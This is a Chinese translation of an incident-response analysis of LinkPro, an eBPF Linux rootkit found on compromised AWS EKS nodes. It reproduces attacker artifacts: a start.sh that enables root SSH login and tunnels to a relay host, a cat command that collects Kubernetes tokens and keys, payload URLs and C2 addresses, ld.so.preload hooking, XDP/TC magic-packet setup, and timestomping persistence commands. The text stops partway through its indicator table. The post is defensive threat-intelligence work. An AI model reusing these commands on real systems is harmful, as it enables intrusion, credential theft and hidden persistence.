深入解析 LinkPro eBPF 内核级Rootkit的攻击技术与隐蔽机制

本文详细分析了名为LinkPro的先进Linux rootkit,该恶意软件利用eBPF技术实现隐蔽驻留、端口敲门激活及网络流量重定向,并具备通过LD_PRELOAD和内核模块的多层隐藏能力。文章还揭示了其在AWS EKS环境中的感染链与持久化手段。

LinkPro: eBPF rootkit 分析

在对一个托管于AWS的基础设施遭入侵事件的数字取证调查中,发现了一个针对GNU/Linux系统的隐秘后门。该后门的功能依赖于安装两个eBPF模块:一方面用于自我隐藏,另一方面则在收到"魔法数据包"时被远程激活。本文详述了该rootkit的功能,并展示了在此案例中观察到的、导致其在AWS EKS环境多个节点上安装的感染链。

引言

eBPF是一项在Linux中被广泛采用的技术,因其众多用例(可观测性、安全性、网络等)以及能够在内核上下文中运行、同时从用户空间进行编排的能力而受到青睐。威胁行为者越来越多地滥用它来创建复杂的后门,并规避传统的系统监控工具。

诸如BPFDoor、Symbiote和J-magic等恶意软件证明了eBPF在创建被动后门方面的有效性,这些后门能够监控网络流量并在收到特定的"魔法数据包"时激活。此外,更复杂的开源工具,如概念验证的ebpfkit和用Golang开发的编排器eBPFexPLOIT,充当了rootkit的角色,功能涵盖建立秘密的命令与控制通道、进程隐藏和容器逃逸技术。

最近,在对一个遭入侵的AWS托管基础设施进行调查时,Synacktiv CSIRT确定了一个相对复杂的感染链,导致在GNU/Linux系统上安装了一个隐秘后门。该后门依赖于安装两个eBPF模块:一个用于隐藏自身,另一个则在收到"魔法数据包"时被远程激活。

感染链

取证分析确定了一个暴露在互联网上的存在漏洞的Jenkins服务器(CVE-2024-23897)是入侵源头。该服务器随后被威胁行为者用作初始访问点,进而转移到托管在多个Amazon EKS集群上的集成和部署流水线。

从Jenkins服务器,威胁行为者在多个Kubernetes集群上部署了一个名为kvlnt/vv的恶意Docker镜像(在我们注意到后,该镜像在被Docker Hub支持团队移除前曾托管于hub.docker.com)。该Docker镜像基于Kali Linux,并附加了两个额外的层。

这些层将/app文件夹添加为工作目录,然后向其中添加了三个文件:

  • /app/start.sh:一个bash脚本,作为Docker镜像的入口点。其目的是启动ssh服务,执行/app/app后门和/app/link程序。
    1
    2
    3
    4
    5
    
    #!/bin/bash
    sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config
    /etc/init.d/ssh start
    ./app &
    ./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp
    
  • /app/link:一个名为vnt的开源程序,充当VPN服务器并提供代理功能。它连接到中继服务器vnt.wherewego.top:29872。这使得威胁行为者可以从任何IP地址连接到受感染服务器,并将其用作代理以访问基础设施上的其他服务器。/app/start.sh脚本中指定的命令行参数如下:
    • -k ooonnn: 标识中继服务器上虚拟VLAN的令牌
    • -w mmm000: 用于加密客户端之间通信的密码(AES128-GCM)
    • -W: 启用客户端和服务器之间的加密(RSA+AES256-GCM),以防止令牌泄露和中间人攻击。
    • -o 0.0.0.0/0: 允许转发到所有网段。
  • /app/app:一个下载器恶意软件,从一个S3存储桶检索加密的恶意负载。联系的URL是https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png。在观察到的案例中,这是一个在内存中的vShell 4.9.3负载,通过WebSocket与其命令与控制服务器(56.155.98.37)通信。Synacktiv CSIRT将此下载器命名为vGet,因为在此案例中它与vShell有直接关联。

vShell是一个已有文档记录的后门,曾被UNC5174使用。其源代码已在大约一年前无法在GitHub上获取。然而,一个较新的版本4.9.3及其(破解的)许可证可供下载,允许各种行为者使用vShell。

但是,关于vGet没有开源发布信息。它是用Rust开发并剥离了符号的恶意代码。此恶意代码在执行开始时创建一个指向/dev/null的符号链接/tmp/.del,然后下载vShell负载。vShell在执行过程中,当打开终端时(在操作员请求下)会初始化环境变量HISTFILE=/tmp/.del。目的是确保命令历史不会写入文件(例如.bash_history)。因此,这两个程序之间可能存在关联,并且vGet可能是专门为直接在内存中执行vShell而开发的,不会在磁盘上留下痕迹。

关于Docker镜像,配置了以下挂载点:

  • 挂载点:/mnt
  • 源(宿主机):/
  • 目标(容器):/mnt
  • 访问权限:读写
  • 类型:bind

此配置允许威胁行为者逃离容器上下文(正在运行的镜像),以root权限访问根分区的整个文件系统。

kvlnt/vv pod的/app/app(vGet)进程中,执行了一个cat命令,目的是检索宿主机上(尤其是其他pod中)可用的凭据(身份验证令牌、API密钥、证书等)。以下是该命令的一个简短摘录:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
cat \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/mount \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/vol_data.json \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/ca.crt \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/namespace \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-hfsns/token \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/ca \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/cert \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/key
[..ETC..]

在部署此Docker镜像几周后,在多个Kubernetes节点以及生产服务器上观察到了另外两个恶意代码的执行。后者尤其受到攻击集团的针对,动机是财务利益。

第一段恶意代码是一个投放器,嵌入了另一个在内存中执行的vShell后门(v4.9.3),这次通过DNS隧道进行通信。关于该投放器,它与此前某些出版物中观察到的用于投放vShell的SNOWLIGHT不相似,但目的相同。解密过程分两步执行。以下是Synacktiv CSIRT分析的样本摘录。

最终负载是一个未被记录的、被Synacktiv CSIRT命名为LinkPro的后门,它利用eBPF技术,可以因其隐蔽性、持久性和内部网络横向移动能力而被描述为rootkit。

LinkPro Rootkit

LinkPro针对GNU/Linux系统,使用Golang开发。Synacktiv CSIRT将其命名为LinkPro,是参照了定义其主模块的符号:github.com/link-pro/link-client。GitHub帐户link-pro没有公开的仓库或贡献记录。LinkPro使用eBPF技术,仅在收到"魔法数据包"时激活,并在受感染系统上隐藏自身。

LinkPro嵌入了四个ELF模块:一个共享库、一个内核模块和两个eBPF模块。

配置与通信

根据其定义配置,LinkPro可以以两种方式运行:被动或主动。其配置通过两种不同的方式获取:

  1. 要么嵌入在二进制文件中,结构化为JSON,并以关键字CFG0开头,
  2. 要么其默认参数直接硬编码在main函数中。此方法在两个样本中都有观察到。

此外,命令行参数也会在运行时用于修改默认值。

-addsvc参数在调查中被观察到用于激活持久化机制。

下面是LinkPro实现的配置结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
struct TailConfig // sizeof=0xD0
{
     string ServerAddress;
     string ServerPort;
     string SecretKey;
     string SleepTime;
     string JitterTime;
     string Protocol;
     string DnsDomain;
     string DNSMode;
     string DnsServer;
     string Debug;
     string Version;
     string ConnectionMode;
     string ReversePort;
};

ConnectionMode有两个可能的值:reverseforward

  • 反向连接模式对应于被动模式,后门监听来自C2的命令。在此模式下,会安装两个eXpress Data Path和Traffic Control类型的eBPF程序,目的是仅在收到特定的TCP数据包时才激活C2通信通道。
  • 前向连接模式对应于主动模式,后门发起与其C2服务器的通信。在此模式下,不会安装XDP/TC eBPF程序。

在受感染信息系统上识别的两个样本具有以下配置:

字段 被动样本 d5b2202b 主动样本 1368f3a8
ServerAddress 1.1.1.1(未使用) 18.199.101.111
ServerPort 6666 2233
SecretKey 0 3344
SleepTime 10 10
JitterTime 2 2
Protocol http http
DnsDomain dns.example.com dns.example.com
DNSMode tunnel tunnel
DnsServer 0 0
Debug false false
Version 1.0.0 1.0.0
ConnectionMode reverse forward
ReversePort 2233 2233

DNS字段仅在通过DNS协议通信时使用。

解析其配置后,LinkPro使用以下信息生成唯一的客户端ID:

1
SHA1sum(hex:"0123456789abcdeffedcba9876543210" | Hostname | Current user | Executable path | Machine ID | MAC Address | "nginx" )

Machine ID对应于/etc/machine-id中的值(如果不存在,则对应于/proc/sys/kernel/random/boot_id)。

对于前向(主动)模式,有五种可能的通信协议:HTTPWebSocketUDP(原始)、TCP(原始)、DNS(直接/隧道)。对于反向(被动)模式,仅使用HTTP协议。提供三个URL:

  • /reverse/handshake:识别操作员的ID(server_id HTTP请求参数)并返回状态success
  • /reverse/heartbeat:返回客户端的信息(如果指定了request_client_info参数)并返回状态ok
  • /reverse/operation:执行操作员的命令。

交换以JSON结构组织,并使用配置中指定的SecretKey XOR密钥加密。

然后,按以下顺序执行步骤:

  1. 安装"隐藏"eBPF模块
  2. 如果"隐藏"模块安装失败,或已被禁用(命令行参数-ebpf 0):在/etc/ld.so.preload中安装共享库
  3. 如果使用反向模式,安装"敲门"eBPF模块
  4. 安装持久化机制
  5. 执行C2命令
  6. 中断时,删除各个模块

被动样本d5b2202b用于说明以下描述。

LD_PRELOAD 模块

LinkPro修改/etc/ld.so.preload配置文件,指定其嵌入的libld.so共享库的路径,目的是隐藏可能揭示后门存在的各种痕迹。libld.so的不同步骤如下:

  1. /etc/ld.so.preload的内容保存在内存中
  2. 将嵌入在LinkPro二进制文件中的libld.so提取到/etc/libld.so
  3. 如果需要,以读写权限重新挂载/etcmount -o remount,rw /etc
  4. 分配足够的权限,使libld.so可以被所有用户加载和执行:chmod 0755 /etc/libld.so
  5. /etc/ld.so.preload文件的内容替换为/etc/libld.so

由于/etc/libld.so路径出现在/etc/ld.so.preload中,由LinkPro安装的libld.so共享库将被所有需要/lib/ld-linux.so的程序加载。这包括所有使用共享库的程序,例如glibc。

一旦libld.so在程序执行时被加载(例如/usr/bin/ls),它会挂钩(在glibc之前)几个libc函数,以修改可能揭示LinkPro存在的结果。以下是观察到的被挂钩函数的行为:

  • fopenfopen64libld.so钩子检查进程是否试图打开/proc/net/tcp/proc/net/tcp6/proc/net/udp/proc/net/udp6。如果打开这些文件,则执行真实的fopen函数。然后,恶意库检索这些文件的内容并删除LinkPro的网络痕迹。任何包含源端口或目标端口2233(LinkPro的监听端口)的行都会被删除。最后,如果进程尝试打开名为ld.so.preload的文件,则返回"文件或目录不存在"错误。
  • getdentsgetdents64getdents系统调用用于列出目录中的文件。在这种情况下,libld.so执行getdents,然后检查是否存在:
    • 包含关键字.tmp~data(Linkpro后门)、libld.sosshidsld.so.preload的文件名。
    • 其命令行包含关键字.tmp~data的进程目录(/proc/下,即PID)。 如果找到,则用下一个条目覆盖dirent条目。
  • killkill系统调用允许向进程发送信号,并将目标的PID作为参数。libld.so实现的钩子检查目标进程的命令行(/proc/<pid>/cmdline)是否存在关键字.tmp~data(Linkpro后门)。如果找到,则不执行libc的kill函数。
  • openopen64:如果进程尝试打开名为ld.so.preload的文件,则返回"文件或目录不存在"错误。
  • readdirreaddir64libld.so钩子执行合法的readdir函数(列出目录中的文件),然后检查是否存在:
    • 包含关键字.tmp~datalibld.sosshidsld.so.preload.system(持久化机制激活后包含LinkPro的文件夹)的文件名。
    • 其命令行包含关键字.tmp~data的进程目录(/proc/下,即PID)。 如果找到,readdir钩子返回空结果。

总之,由LinkPro加载的libld.so试图从其他动态链接的程序中隐藏LinkPro后门和libld.so本身的网络痕迹(监听或目标端口)和文件系统痕迹。

“隐藏” eBPF 模块

“隐藏"模块由几个Tracepoint和Kretprobe类型的eBPF程序组成。

  • TracePoint类型的eBPF程序附着在Linux内核定义的静态跟踪点上。它们被放置在内核代码的特定位置,例如系统调用、内存分配、任务调度等。特别是,系统调用的跟踪点位于入口(tracepoint/syscalls/sys_enter_syscall)或出口(tracepoint/syscalls/sys_exit_syscall)。
  • Kprobes允许将eBPF程序附着到内核中几乎任何函数(其入口点)。Kretprobes则在函数返回时触发。这使得可以拦截和修改系统调用的结果。

LinkPro rootkit安装这些eBPF程序,并利用它们的功能来隐藏其进程和网络活动。

“隐藏"模块安装 首先,LinkPro使用ebpf-go模块将嵌入的"隐藏"ELF模块解析为特定的对象。然后,LinkPro更新pids_to_hide_map映射,包含LinkPro的当前PID以及命令行参数-pid指定的PID列表。LinkPro更新main_ebpf_progs映射,添加由LinkPro加载的eBPF程序(“隐藏"和"敲门"模块)的文件描述符。

接着,LinkPro创建BPF链接,将eBPF程序附着到内核的检测点。由LinkPro后门加载的"隐藏"eBPF模块向getdentsgetdents64系统调用添加钩子,目标与libld.so共享库相同,即隐藏LinkPro特有的文件。此外,钩子被放置在sys_bpf系统调用的入口和出口,以隐藏其eBPF映射和程序。

handle_getdents 附着到getdentsgetdents64跟踪点的函数行为与libld.so类似。拦截getdents系统调用的结果。eBPF程序设置过滤器以隐藏:

  • 特定文件和目录:任何包含关键字.tmp~data.system的条目。
  • 特定进程:其标识符(PID)列在pids_to_hide eBPF映射中的进程目录(/proc/下)也被隐藏。

getdents系统调用返回一个dirent结构的链表,每个结构代表一个文件或目录,并包含其名称、inode和条目大小等信息。与libld.sogetdents上的钩子不同,dirent条目不是直接被下一个记录覆盖。

handle_ebpf 实现了两个函数:HandleBpfEnter,链接到syscall/sys_enter/bpf跟踪点;以及HandleBpfExit,链接到sys_bpf的Kretprobe。此处的目标是从诸如bpftool之类的工具中隐藏eBPF程序的存在。

bpf_printk的输出记录在特殊文件/sys/kernel/debug/tracing/trace_pipe中。需要root权限才能读取其内容。

HandleBpfEnter跟踪点将类型为BPF_PROG_GET_NEXT_IDBPF_MAP_GET_NEXT_IDBPF_LINK_GET_NEXT_ID的BPF命令保存在一个映射中。执行sys_bpf系统调用后,触发HandleBpfExit钩子。

  • 检索关联命令的结构,现在包含系统调用的结果,即下一个程序、映射或链接的ID。
  • 如果cmd_info.attr_pr.next_id的值等于main_ebpfs_progs映射中存在的某个对象的ID,则sys_bpf的返回值被替换为-ENOENT

注意,bpf_override_return辅助函数仅在Linux内核编译时启用了CONFIG_BPF_KPROBE_OVERRIDE配置选项时才可用。如果所需的内核选项未启用,BPF验证器将拒绝该程序并阻止"隐藏"模块加载。如果失败,则使用替代方法加载libld.so库,作为隐藏部分LinkPro痕迹的后备解决方案。

“敲门” eBPF 模块

“敲门"模块包含两个由LinkPro加载的eBPF程序。 第一个名为xdp_ingress,属于XDP类型。XDP提供了一种通过eBPF程序处理网络数据包的机制。它位于处理链的非常早期,在驱动层,处于经典Linux网络栈的上游。XDP eBPF程序使用返回码(例如XDP_PASSXDP_DROPXDP_REDIRECT)来决定Linux内核应对网络数据包采取的操作。

第二个名为tc_egress,属于TC类型。tc是由iproute2包引入的工具,允许控制接口上的入站和出站网络流量。可以将BPF程序附加到不同的TC控制点,例如在数据包发送前过滤某些数据包。TC位于驱动和网络栈之间,即XDP的下游。XDP程序只能附加到入站流量,不能附加到出站,这在此上下文中证明了使用TC的合理性。

“敲门"模块安装 安装xdp_ingresstc_egress程序需要几个步骤。

  1. 检测用于与互联网通信的网络接口(例如eth0)。
  2. 在BPF FS中创建一个fire目录。路径:/sys/fs/bpf/fire。BPF FS是一个伪虚拟文件系统(仅存在于内存中),允许存储BPF程序和映射,以及固定对象(确保通过BPF FS中的伪文件保持对这些对象的引用,以确保其持久性)。
  3. 将"敲门"模块加载到内存中。
  4. 使用LinkPro配置中reverse_port属性的值更新conf_map BPF映射:在此上下文中为端口2233
  5. 安装xdp_ingress程序:
    • 分离已链接到网络接口的任何XDP程序:ip link set dev eth0 xdp off
    • 通过创建BPF链接将xdp_ingress程序附加到网络接口。
  6. 安装tc_egress程序:
    • tc_egress程序固定到/sys/fs/bpf/fire/tc_egress
    • 通过以下tc命令将tc_egress程序附加到网络接口:
      • 准备接口:tc qdisc replace dev eth0 clsact
      • 清理出站流量上的旧过滤器:tc filter del dev eth0 egress
      • tc_egress程序附加到网络接口的出口钩子:tc filter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned /sys/fs/bpf/fire/tc_egress

xdp_ingress xdp_ingress eBPF程序监听附加网络接口上的入站流量。程序监控魔法数据包的接收。

此魔法数据包必须具有以下特征:一个TCP协议数据包,类型为SYN,其窗口大小值tcp_header->windows_size54321。 如果验证了这样的数据包,xdp_ingress程序将一个密钥保存在knock_map映射中,其值为数据包的源IP和关联的过期时间(一小时)作为其值,指示开放状态。 此外,程序在rev_port映射中保存以下键/值对:键:rev_key = { in_port, sip, sport},值:dportin_port等于conf_map中存储的值,即2233。 最后,xdp_ingress程序返回XDP_DROP代码,指示Linux内核立即丢弃魔法数据包。程序已为此特定源IP地址转换为"开放"状态。

开放状态:xdp_ingress程序监控TCP数据包的接收,其源IP地址与已在knock_map中注册的地址相同,在收到魔法数据包后的一小时窗口内。 在这种情况下,如果目标端口尚未对应于in_port2233)的值,则xdp_ingress修改传入数据包的TCP头部,将目标端口值替换为in_port。此外,为防止数据包在下游被内核丢弃,TCP校验和tcp_header->check_sum也会在TCP头部中重新计算和修改。最后,xdp_ingress返回XDP_PASS代码,将数据包传递给网络栈的其余部分。

tc_egress tc_egress eBPF程序监听附加网络接口上的出站流量。程序监控源端口为in_port2233)的TCP数据包的发送。

如果收到这样的数据包,程序检查rev_port映射中是否存在之前由xdp_ingress保存的键rev_key = { in_port, dip, dport}。 如果找到,则修改出站数据包的TCP头部,以恢复传入数据包的原始目标端口(该端口已被xdp_ingress替换)到出站数据包的源端口级别。校验和也会被重新计算。最后,在所有情况下,数据包都继续其处理(返回TC_ACT_OK代码)。

因此,LinkPro的目标是在收到初始"魔法数据包"时有条件地激活命令接收状态。一旦收到魔法数据包,操作员有一小时的时间窗口(稍后可以重新激活)向任意目标端口发送命令。xdp_ingress程序的作用是修改传入TCP数据包的头部,将原始目标端口替换为LinkPro的监听端口(在此上下文中为2233)。 最后,当LinkPro响应操作员的命令时,tc_egress程序的作用是修改出站数据包,将源端口(2233)替换为原始端口。此操作的目的允许操作员通过前端防火墙允许的任何端口激活LinkPro的命令接收。这也使得前端防火墙日志与受感染主机的网络活动之间的关联更加复杂。

持久化

为了在主机上持久存在,LinkPro将自身"伪装"成systemd-resolved服务(名称解析服务)。

  1. 以读写权限挂载根分区/:执行命令:mount -o remount,rw /
  2. 将其自身可执行文件复制到/usr/lib/.system/.tmp~data.resolveld
  3. /etc/systemd/system/systemd-resolveld.service中添加一个systemd单元文件。
  4. /usr/lib/.system/.tmp~data.resolveld/etc/systemd/system/systemd-resolveld.service的修改和访问日期时间戳更改为/etc/passwd文件的日期:sh -c touch -d "$(stat /etc/passwd | grep Modify | awk '{print $2, $3}')" %s 2>/dev/null
  5. 启用systemd-resolveld服务在系统启动时启动:systemctl enable systemd-resolveld

自删除

中断时(SIGHUPSIGINTSIGTERM信号),LinkPro卸载其程序:

  • 敲门模块:
    • 通过执行tc命令删除tc_egress eBPF链接。
    • 删除xdp_ingress eBPF链接。
    • 删除/sys/fs/bpf/fire目录。
  • 隐藏模块:删除eBPF链接、映射和程序。
  • 删除/etc/libld.so并恢复配置文件/etc/ld.so.preload的初始内容。

命令

一旦与操作员的通信建立,LinkPro提供以下命令:

命令 功能
terminal_create; terminal_resize; terminal_input; terminal_close 在伪终端中执行/bin/bash(使用github.com/creack/pty模块)。terminal_input子命令允许与创建的bash进程交互。
shell 直接执行任意shell命令:/bin/sh -c [cmd]
file_manage 子命令:read_file; list_files; write_file; create_file; delete_file; upload_file; create_folder; get_current_dir; delete_files_batch。用于列出、读取、写入和删除文件或目录的命令。upload_file子命令允许从服务器下载文件到受感染主机。使用HTTP协议从http://[server_address]:[port]/api/client/file/download?path=[server_file_path]类型的URL下载到命令中client_save_path指定的本地路径。
download_manage 文件下载。目标文件被分割成1MB的块。每个块都进行base64编码,然后发送给操作员。
reverse_connect ; close_reverse_connect 设置一个中继作为SOCKS5代理隧道。使用resocks模块。代理服务器的IP地址、端口和连接密钥在命令中指定。
reverse_http_listener 子命令:start; stop; status。设置一个HTTP服务,与反向模式建立的相同。端口和加密密钥(XOR)在命令中指示。
set_sleep_config 更新sleep_timejitter_time参数。

arp_diag.ko 内核模块

嵌入在LinkPro程序中的arp_diag.ko内核模块从未被加载。在受感染主机上也没有观察到加载此模块。它具有以下版本信息:

1
2
3
4
5
6
7
8
9
version=1.21
description=UNIX socket monitoring via ARP_DIAG
author=Linux
license=GPL
srcversion=AB501E218EDD1F4EA00642E
depends=
retpoline=Y
name=arp_diag
vermagic=6.8.0-1021-aws SMP mod_unload modversions

此模块注册四个内核探针,以附加到内核函数tcp4_seq_showudp4_seq_showtcp6_seq_showudp6_seq_show。这些系统调用提供/proc/net/tcp/proc/net/tcp6/proc/net/udp/proc/net/udp6中指定的信息。arp_diag实现的函数旨在隐藏包含端口2233的记录。

结论

对Synacktiv CSIRT在受感染的AWS基础设施上发现的LinkPro rootkit的分析,证实并深化了威胁利用eBPF技术的趋势。继BPFDoor或Symbiote等恶意软件之后,LinkPro通过结合多个层面的几种隐身技术,代表了这些后门复杂性的新台阶。

为了在内核级别隐藏,rootkit使用tracepoint和kretprobe类型的eBPF程序来拦截getdents(文件隐藏)和sys_bpf(隐藏其自身BPF程序)系统调用。值得注意的是,此技术需要特定的内核配置。如果后者不存在,LinkPro则回退到通过/etc/ld.so.preload文件加载恶意库的替代方法,以确保在用户空间隐藏其活动。

LinkPro还因其操作灵活性而突出,能够以被动监听模式运行,或直接联系命令与控制服务器。

  • 在监听模式(反向)下,它部署了一个基于XDP(入口)和TC(出口)程序的先进网络处理链,其实现明显受到开源项目eBPFeXPLOIT的启发。该机制允许它将"魔法数据包"重定向到其内部监听端口,并隐藏通信。
  • 在直接连接模式(前向)到C2时,这种重定向不是必需的,因此不使用。

一旦建立通信,LinkPro为操作员提供高级功能,特别是充当横向移动的支点的能力。

虽然无法正式归因于某个威胁行为者,但攻击的目标似乎是财务动机。总之,LinkPro是恶意软件以自适应方式使用eBPF的一个具体例子。内核钩子、用户空间后备机制和不同通信模式的组合,展示了一种专门设计以适应不同系统配置并逃避检测的设计。

MITRE ATT&CK 映射 — LinkPro

战术 技术(ID) LinkPro的使用描述
Execution Command and Scripting Interpreter: Unix Shell (T1059.004) LinkPro通过/bin/sh -c(shell命令)执行命令,并提供具有/bin/bash的完整交互式shell(terminal_create命令)。
Persistence Create or Modify System Process: Systemd Service (T1543.002) 创建systemd单元文件(/etc/systemd/system/systemd-resolveld.service)以在启动时执行。
Persistence Hijack Execution Flow: Dynamic Linker Hijacking (T1574.006) 使用/etc/ld.so.preload作为替代/后备隐藏机制。
Defense Evasion Masquerading: Match Legitimate Name or Location (T1036.005) 恶意软件通过使用文件名/usr/lib/.system/.tmp~data.resolveldsystemd-resolveld.service伪装成systemd-resolved
Defense Evasion Indicator Removal: Timestomp (T1070.006) LinkPro修改其持久化文件的时间戳以匹配合法系统文件(例如/etc/passwd)。
Defense Evasion Rootkit (T1014) 使用getdentssys_bpf上的eBPF钩子在内核级别隐藏其痕迹。
Defense Evasion Obfuscated Files or Information (T1027) 通过download_manage泄露的数据是Base64编码的。C2流量是XOR加密的。
Defense Evasion Impair Defenses: Modify System Firewall (T1562.007) XDP程序在主网络栈之前处理数据包,从而绕过本地防火墙过滤器。
Command and Control Application Layer Protocol (T1071) 使用HTTP和DNS(通过DNS隧道 T1071.004)进行其C2通信,此外还有原始TCP/UDP。
Command and Control Traffic Signaling: Port Knocking (T1205.002) “魔法数据包"概念(窗口为54321的TCP SYN)是一种流量信令形式,用于激活被动C2。
Command and Control Proxy: External Proxy (T1090.002) reverse_connect命令设置SOCKS5代理隧道以中继流量,充当支点。
Command and Control Ingress Tool Transfer (T1105) upload_file命令允许操作员通过HTTP将其他工具下载到受感染主机。
Exfiltration Exfiltration Over C2 Channel (T1041) download_manage命令使用C2通道泄露文件。分块和Base64编码技术是其实现特有的。
Collection File and Directory Discovery (T1083) file_manage命令及其子命令(list_filesget_current_dir)用于探索受害者的文件系统。

入侵指标 (IOCs) 表 — LinkPro

IOC类型 指标 描述
Network /api/client/file/download?path=... upload_file命令用于将工具下载到受感染主机的URL。
Network /reverse/handshake ; /reverse/heartbeat ; /reverse/operation LinkPro在反向模式下用于接收操作员命令的URL。
Network 18.199.101.111 LinkPro样本(前向模式)的目标IP地址。
File /etc/systemd/system/systemd-resolveld.service 伪装成合法systemd-resolved服务的恶意服务文件(注意最后的"d”)。
File /root/.tmp~data.ok LinkPro二进制文件的位置和名称,模仿系统文件。
File /usr/lib/.system/.tmp~data.resolveld LinkPro二进制文件的位置和名称,模仿系统文件。
File /etc/libld.so 通过修改/etc/ld.so.preload使用`
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计